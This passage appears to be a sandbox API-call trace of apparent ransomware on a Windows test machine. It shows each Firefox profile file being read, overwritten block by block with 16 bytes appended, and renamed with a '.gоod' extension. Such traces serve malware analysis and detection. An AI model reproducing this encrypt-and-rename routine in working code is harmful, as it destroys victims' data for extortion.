fInfoLevelId=0x0, lpFileInformation=0x204eb9e0 | out: lpFileInformation=0x204eb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe645e15, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe645e15, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9a1eb0ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10010)) returned 1 [0264.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb8c0) returned 1 [0264.924] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cert8.db"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cert8.db.gоod")) returned 1 [0264.925] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json", lpFilePart=0x0) returned 0x59 [0264.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb940) returned 1 [0264.925] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\containers.json"), fInfoLevelId=0x0, lpFileInformation=0x38875f8 | out: lpFileInformation=0x38875f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9a54e3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xff9a54e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xff9a54e3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x329)) returned 1 [0264.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb900) returned 1 [0264.925] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json", nBufferLength=0x105, lpBuffer=0x204eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json", lpFilePart=0x0) returned 0x59 [0264.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb7f0) returned 1 [0264.926] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\containers.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0264.926] GetFileType (hFile=0x8a8) returned 0x1 [0264.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb760) returned 1 [0264.926] GetFileType (hFile=0x8a8) returned 0x1 [0264.926] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x204eb998 | out: lpFileSizeHigh=0x204eb998*=0x0) returned 0x329 [0264.926] ReadFile (in: hFile=0x8a8, lpBuffer=0x3887c20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb8c8, lpOverlapped=0x0 | out: lpBuffer=0x3887c20*, lpNumberOfBytesRead=0x204eb8c8*=0x329, lpOverlapped=0x0) returned 1 [0264.927] CloseHandle (hObject=0x8a8) returned 1 [0265.708] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json", nBufferLength=0x105, lpBuffer=0x204eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json", lpFilePart=0x0) returned 0x59 [0265.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb7f0) returned 1 [0265.708] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\containers.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0265.708] GetFileType (hFile=0x768) returned 0x1 [0265.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb760) returned 1 [0265.709] GetFileType (hFile=0x768) returned 0x1 [0265.709] WriteFile (in: hFile=0x768, lpBuffer=0x37dd790*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x204eb7d8, lpOverlapped=0x0 | out: lpBuffer=0x37dd790*, lpNumberOfBytesWritten=0x204eb7d8*=0x330, lpOverlapped=0x0) returned 1 [0265.709] CloseHandle (hObject=0x768) returned 1 [0265.709] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json", lpFilePart=0x0) returned 0x59 [0265.709] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json.gоod", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json.gоod", lpFilePart=0x0) returned 0x5e [0265.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb900) returned 1 [0265.709] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\containers.json"), fInfoLevelId=0x0, lpFileInformation=0x204eb9e0 | out: lpFileInformation=0x204eb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9a54e3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xff9a54e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9a95e704, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x330)) returned 1 [0265.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb8c0) returned 1 [0265.709] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\containers.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\containers.json.gоod")) returned 1 [0265.710] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite", lpFilePart=0x0) returned 0x5e [0265.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb940) returned 1 [0265.710] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\content-prefs.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x37dea98 | out: lpFileInformation=0x37dea98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff97f27a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xff97f27a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x439749, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x38000)) returned 1 [0265.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb900) returned 1 [0267.810] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite", lpFilePart=0x0) returned 0x5e [0267.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0267.811] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\content-prefs.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0267.838] GetFileType (hFile=0x89c) returned 0x1 [0267.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0267.838] GetFileType (hFile=0x89c) returned 0x1 [0267.838] SetFilePointer (in: hFile=0x89c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x1000 [0267.838] ReadFile (in: hFile=0x89c, lpBuffer=0x3cd7638, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb968, lpOverlapped=0x0 | out: lpBuffer=0x3cd7638*, lpNumberOfBytesRead=0x204eb968*=0x1000, lpOverlapped=0x0) returned 1 [0267.838] CloseHandle (hObject=0x89c) returned 1 [0267.839] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite", lpFilePart=0x0) returned 0x5e [0267.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0267.839] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\content-prefs.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0267.839] GetFileType (hFile=0x89c) returned 0x1 [0267.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0267.839] GetFileType (hFile=0x89c) returned 0x1 [0267.839] SetFilePointer (in: hFile=0x89c, lDistanceToMove=0, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x38000 [0267.839] WriteFile (in: hFile=0x89c, lpBuffer=0x3cd8910*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204eb888, lpOverlapped=0x0 | out: lpBuffer=0x3cd8910*, lpNumberOfBytesWritten=0x204eb888*=0x10, lpOverlapped=0x0) returned 1 [0267.839] CloseHandle (hObject=0x89c) returned 1 [0267.840] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite", lpFilePart=0x0) returned 0x5e [0267.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0267.840] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\content-prefs.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0267.840] GetFileType (hFile=0x89c) returned 0x1 [0267.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0267.840] GetFileType (hFile=0x89c) returned 0x1 [0267.840] ReadFile (in: hFile=0x89c, lpBuffer=0x3cdac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb918, lpOverlapped=0x0 | out: lpBuffer=0x3cdac10*, lpNumberOfBytesRead=0x204eb918*=0x1000, lpOverlapped=0x0) returned 1 [0267.867] CloseHandle (hObject=0x89c) returned 1 [0267.867] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite", lpFilePart=0x0) returned 0x5e [0267.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0267.867] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\content-prefs.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0267.867] GetFileType (hFile=0x89c) returned 0x1 [0267.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0267.867] GetFileType (hFile=0x89c) returned 0x1 [0267.868] WriteFile (in: hFile=0x89c, lpBuffer=0x3cd9928*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204eb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3cd9928*, lpNumberOfBytesWritten=0x204eb9c8*=0x1010, lpOverlapped=0x0) returned 1 [0267.868] CloseHandle (hObject=0x89c) returned 1 [0267.868] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite", lpFilePart=0x0) returned 0x5e [0267.868] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite.gоod", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite.gоod", lpFilePart=0x0) returned 0x63 [0267.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb900) returned 1 [0267.868] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\content-prefs.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x204eb9e0 | out: lpFileInformation=0x204eb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff97f27a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xff97f27a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9bdeebb6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x38010)) returned 1 [0267.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb8c0) returned 1 [0267.868] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\content-prefs.sqlite"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\content-prefs.sqlite.gоod")) returned 1 [0267.869] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite", lpFilePart=0x0) returned 0x58 [0267.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb940) returned 1 [0267.869] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cookies.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x3d57100 | out: lpFileInformation=0x3d57100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ef1bce, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1ef1bce, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0267.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb900) returned 1 [0267.965] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite", lpFilePart=0x0) returned 0x58 [0267.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0267.966] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cookies.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0267.966] GetFileType (hFile=0x85c) returned 0x1 [0267.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0267.966] GetFileType (hFile=0x85c) returned 0x1 [0267.967] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x1000 [0267.967] ReadFile (in: hFile=0x85c, lpBuffer=0x3912bc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb968, lpOverlapped=0x0 | out: lpBuffer=0x3912bc8*, lpNumberOfBytesRead=0x204eb968*=0x1000, lpOverlapped=0x0) returned 1 [0267.969] CloseHandle (hObject=0x85c) returned 1 [0267.969] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite", lpFilePart=0x0) returned 0x58 [0267.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0267.969] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cookies.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0267.969] GetFileType (hFile=0x85c) returned 0x1 [0267.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0267.969] GetFileType (hFile=0x85c) returned 0x1 [0267.969] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x80000 [0267.970] WriteFile (in: hFile=0x85c, lpBuffer=0x3913e88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204eb888, lpOverlapped=0x0 | out: lpBuffer=0x3913e88*, lpNumberOfBytesWritten=0x204eb888*=0x10, lpOverlapped=0x0) returned 1 [0267.975] CloseHandle (hObject=0x85c) returned 1 [0267.975] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite", lpFilePart=0x0) returned 0x58 [0267.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0267.975] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cookies.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0267.975] GetFileType (hFile=0x85c) returned 0x1 [0267.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0267.975] GetFileType (hFile=0x85c) returned 0x1 [0267.975] ReadFile (in: hFile=0x85c, lpBuffer=0x3917700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb918, lpOverlapped=0x0 | out: lpBuffer=0x3917700*, lpNumberOfBytesRead=0x204eb918*=0x1000, lpOverlapped=0x0) returned 1 [0268.342] CloseHandle (hObject=0x85c) returned 1 [0268.342] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite", lpFilePart=0x0) returned 0x58 [0268.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0268.342] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cookies.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0268.342] GetFileType (hFile=0x85c) returned 0x1 [0268.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0268.342] GetFileType (hFile=0x85c) returned 0x1 [0268.342] WriteFile (in: hFile=0x85c, lpBuffer=0x390f3d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204eb9c8, lpOverlapped=0x0 | out: lpBuffer=0x390f3d8*, lpNumberOfBytesWritten=0x204eb9c8*=0x1010, lpOverlapped=0x0) returned 1 [0268.342] CloseHandle (hObject=0x85c) returned 1 [0268.342] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite", lpFilePart=0x0) returned 0x58 [0268.342] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite.gоod", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite.gоod", lpFilePart=0x0) returned 0x5d [0268.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb900) returned 1 [0268.342] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cookies.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x204eb9e0 | out: lpFileInformation=0x204eb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ef1bce, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1ef1bce, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x9c28d47f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x80010)) returned 1 [0268.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb8c0) returned 1 [0268.343] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cookies.sqlite"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite.gоod" 